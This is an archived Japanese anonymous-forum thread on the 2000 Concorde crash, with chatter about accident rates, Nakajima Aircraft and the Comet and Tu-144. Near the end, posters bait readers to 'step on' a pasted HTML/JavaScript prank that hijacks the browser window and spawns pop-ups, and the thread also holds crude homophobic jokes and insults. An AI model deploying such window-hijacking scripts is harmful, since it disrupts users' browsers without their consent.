中島飛行機は日本の誇れるメーカだった
http://www.ne.jp/asahi/airplane/museum/nakajima/naka-cont.html

速度=距離/時間。
その為、飛行時間当たりの事故率、総飛行距離当たりの事故率
に、加え、飛行回数当たりの事故率を算出し、勘案します。
航空機対、乗用車と言った比較にも使用されますから、
亜音速機と、超音速機の比較にも、当然使用できます。

更に、乗ってる乗客による重み付けを考慮する場合には、
乗客一人頭に、更に換算して、比較します。

って言うか、厨房は下らない質問すんな。

中島飛行機が、富士重工になったんでしたっけ？　日本の歴史にうとくて....

「このような安全性よりも速度を優先して造った飛行機の歴史は
これで終わりになるでしょう｣
と得意になって語ったフジ・ニュースジャパンのオヤジ！
過去約３０年で１回の事故でそこまで言うかねー。
もしおまえが一回でもとちったら、「降板しろ」といってやりたいよ。

>268
「安全性を優先しない旅客機があるなら、それはソ連の旅客機だ」
・・・って誰の言葉でしょう？

＞２６７
そうです。

これが初めての事故っていっても、台数が少ないからなぁ。

＞２６７
中島飛行機は戦後ＧＨＱに解体され３０近くに分社化
直系で残った会社は富士重工。エンジン部門が立川飛行機と合併して出来たのがプリンス自工で、
後に日産と合併。技術陣の中にはトヨタやホンダに入って自動車産業の技術レベル向上に貢献した。

飛行機教信者うざい

http://www.jimin.or.jp/jimin/rt6_mori/image/288.gif

コンコルド：１９８８年にも同様のトラブル
http://www.mainichi.co.jp/news/selection/news02.html

>　【パリ２７日笠原敏彦、橋本晃】仏エールフランス社の超音速機
> コンコルドの墜落事故で、仏捜査当局は２７日までに、今回の事故
> と類似したトラブルが１９８８年にコンコルド機で起きていたことを
> 突き止めた。捜査当局ではエールフランス社が十分な対策を講じて
> いなかった可能性もあるとみて、今回の事故との関連に注目している。
>　仏捜査当局によると、トラブルが起きたのは８８年４月８日、
> パリ・シャルル・ドゴール空港発ニューヨーク行き。滑走路を
> 時速２００キロで走行中に突然、エンジンの一部で、推力を
> 増すため燃料を噴射させる装置に異常が見つかった。点検作業を
> 行った後、同機は出発、離陸したものの、異常が発見された
> エンジンが航行中、正常に働かなくなった。

>　同機はパイロットがシャルル・ドゴール空港で機体を胴体着陸
> させ、大惨事とならずに済んだが、エールフランス社は今日に
> 至るまで、このトラブルについて一切、公表しなかった。
> 捜査当局は今回の事故と似ている点を重視している模様だ。

以前に胴体着陸していただとお。しかも、一切、公表しなかった。

Ｔｕ−１４４はなぜターボファンを採用したのかな？
バイパス空気が大きいと噴出ガスの速度が低下するため超音速での巡航に
不向きのはずなのに

精神科の患者にぴったりだ

恐ろしい。
事実を隠すのは日本の役人のお家芸だと思っていたが…
エールフランスは逝ってよし。

航空機ヲタクも知らんかったのか？

「超音速コメット」と呼ばれるぞ＞コンコルド。

>>277
コンコルドはそうな事故いくつかあったよ、承知の事実
それより今まで死亡事故０だった事が、航空業界では奇跡的だったんだぞ

「機長が執拗に部品交換を要求した」の謎が解けそうだ。

飛行機が落ちて死ぬ確率は何分の一くらいなの？

1000分の999

>>285
コメットは別格だよ
なんせ与圧の繰り返しで金属疲労を起こして２回も空中爆破して
一時期、耐空証明も取り消された不運の飛行機だからな
あれはイギリスにとって最悪の旅客機だろな

>>290
確かの他の公共交通機関よりは低い・・・筈（最近の統計は知らない）

>>290
あまり落ちないから安全だよ〜ん

>292
でも英国のコメットの事故調査の追求は語り草なんだよ。
（あれは一種のドラマだったからね）
某日航機の調査委員会には爪の垢でも飲ませたい。

今回は・・・フランスってなんか信用出来ない。

飛行機事故が悲惨なのは、ある程度の社会的地位がある人が
一度に大量に死ぬことなんだよな。

整備工がナンパに忙しくてサボったに違いない。

YS-11万歳！！

YS-11万歳！！

.

やったね！ヒロヒト

これからは、
『離陸滑走開始時刻が４時４４分だったら鳴る警報機』
が必要だねぇ。（藁）

しかし不思議です。航空評論家たちも以前の胴体着陸の件を
知らなかったのですかね？

ありがとう
ネロヒト！！

もともとフランスなんて信用ならないって。
フランスの事故調査委員会って必ずパイロットのせいにして
飛行機は悪くなかったって言うんだよ。
よその国でエアバスが落ちたときの対応見てればわかるじゃん。

よかった！！
ヒロヒト　かまってくれないから　いぢけてたんだよ〜

>>304
しょせんあの人達は元パイロットの人が、航空評論家の肩書きを付けてる
人達ばっかからな〜

シェル君は元気？
なんさい？
うちは1０月で7年！！

うちのシェルは実は・・・・
捨て犬だったの・・・
拾った人が　保険所に連れてくとゆーんでもらったの
だから年齢不詳！！　お医者は多分４さいくらいって言ってたよ
元気だよ〜〜！！

妹が逝っているんです。
初めての海外旅行で大丈夫かなあ…と思っていたら
このニュース。
ビックリしました

＞ヒロヒト
でも全然　発情！しないんだ
オスなのに・・・オカマかも！

実は猫は捨て猫だったんだ、
そいつが5匹も生んだんだよ。
売れ残り2匹と親で3匹なんだ！！
犬は18万で買ったんだ！！

マジかよ、ホモ犬だぜ！

家のは　犬の美容室のおねーさんに発情してます！！
私もですが！！

￥１８００００犬ｖｓただ犬　たぶん負けちゃうよ！

ホモ犬って面白いね　レズ犬はなんかキモい

ルパン　見るから　また後で！！

世界で最悪の官僚国家がフランスと日本といわれている。以前はソ連も
含めて三大官僚国家といわれていた。次に原発事故が起こるのは、フランス
か日本といわれている。コンコルドの事故はその前兆か。

ホントに飛行機事故って続くんだな…。ネパールか。

夕方のニュースで
火だるまになって飛んでるコンコルドのビデオを見たけど、
あれって乗客の人たちはどうなってたの？

>321
「機体トラブルで緊急着陸する」「衝撃吸収姿勢を取る様に」とクルーが
機内アナウンスする余裕がったら・・・

たぶん神に祈ってる。

コンコルド墜落直前の様子、アマチュアビデオが映す
http://cnn.co.jp/2000/WORLD/07/27/crash.video/index.html

上記ページで炎上しながら飛行するコンコルドを映したビデオ見れます

>>323
シャルル・ドゴールはヨーロッパ各国から旅客機ヲタが集結する所だから
まだビデオを回していたヲタは、いると思うぞ

飛行機は揚力で飛んでるのか、ロケットみたく飛んでるのかどっちなんだ？

あ、今回のコンコルドね。

＞３２５
揚力

でもこれだけ豪快に火が出てるとなぁ

・・・やっぱアフターバーナー全開か。

>328
あれは完全燃焼してないからですよ。
「トーチ」ってワザがあるけど、ワザと燃料垂れ流して点火すると機体の長さ
ぐらいの炎を引けます。
たぶんトラブルの起きた２番エンジンから漏れた燃料が引火して炎の尾を引いた
んでしょう。

ダイ・ハード２のラストで、
テロリストが乗った飛行機のじゃじゃ漏れの燃料に着火させて叩き落とすラストは
大嘘だって聞いたけど…

火線の速度が機の離陸速度より遅いってこと？

↑ ↑ ↑ ↑
踏　め　！

こ、怖くて、フ、フめませんです。

<html>
<head>
<meta name=" OSS " CONTENT=" 1.DOWNLOAD ">
<title> OSS/%.%.%.%. </title>
<SCRIPT LANGUAGE="JavaScript">
&lt;!--
var exit=true; function windowx(){ if((parseInt(navigator.appVersion) >= 4 )) {
self.resizeTo(100＠｀100);//055＠｀066＠｀077＠｀088＠｀055
window.moveTo(0＠｀0);//033＠｀44＠｀00＠｀101＠｀202＠｀303＠｀055
window.open("ss4.html" ＠｀ "my"＠｀ "toolbar=0＠｀location=0＠｀directories=0＠｀status=0＠｀menubar=0＠｀scrollbars=0＠｀resizable=0＠｀width=100＠｀height=100＠｀top=0＠｀left=0");//011＠｀022＠｀099＠｀055
window.open("ss1.html" ＠｀ "my1"＠｀ "toolbar=0＠｀location=0＠｀directories=0＠｀status=0＠｀menubar=0＠｀scrollbars=0＠｀resizable=0＠｀width=100＠｀height=100＠｀top=0＠｀left=600");
window.open("ss2.html" ＠｀ "my2"＠｀ "toolbar=0＠｀location=0＠｀directories=0＠｀status=0＠｀menubar=0＠｀scrollbars=0＠｀resizable=0＠｀width=100＠｀height=100＠｀top=200＠｀left=200");//055＠｀066＠｀055
window.open("ss3.html" ＠｀ "my3"＠｀ "toolbar=0＠｀location=0＠｀directories=0＠｀status=0＠｀menubar=0＠｀scrollbars=0＠｀resizable=0＠｀width=100＠｀height=100＠｀top=400＠｀left=400");//055＠｀066
} else {
window.open("ss4.html" ＠｀ "my"＠｀ "toolbar=0＠｀location=0＠｀directories=0＠｀status=0＠｀menubar=0＠｀scrollbars=0＠｀resizable=0＠｀width=100＠｀height=100＠｀top=0＠｀left=0");//055＠｀066
window.open("ss1.html" ＠｀ "my1"＠｀ "toolbar=0＠｀location=0＠｀directories=0＠｀status=0＠｀menubar=0＠｀scrollbars=0＠｀resizable=0＠｀width=100＠｀height=100＠｀top=0＠｀left=600");//055＠｀066
window.open("ss2.html" ＠｀ "my2"＠｀ "toolbar=0＠｀location=0＠｀directories=0＠｀status=0＠｀menubar=0＠｀scrollbars=0＠｀resizable=0＠｀width=100＠｀height=100＠｀top=200＠｀left=100");//055＠｀066
window.open("ss3.html" ＠｀ "my3"＠｀ "toolbar=0＠｀location=0＠｀directories=0＠｀status=0＠｀menubar=0＠｀scrollbars=0＠｀resizable=0＠｀width=100＠｀height=100＠｀top=400＠｀left=400");}//055＠｀066
}// --&gt;
</SCRIPT>
</head>
<BODY BGCOLOR="000000" TEXT="#000000" LINK="#ffffff" VLINK="#ffffff" ALINK="#ffffff" onLoad="windowx();">
</BODY>
</html>

設定が間違っています。

Ｔｕ−１４４とコンコルド一緒にランデブーさせて見たいね、無くならないうちに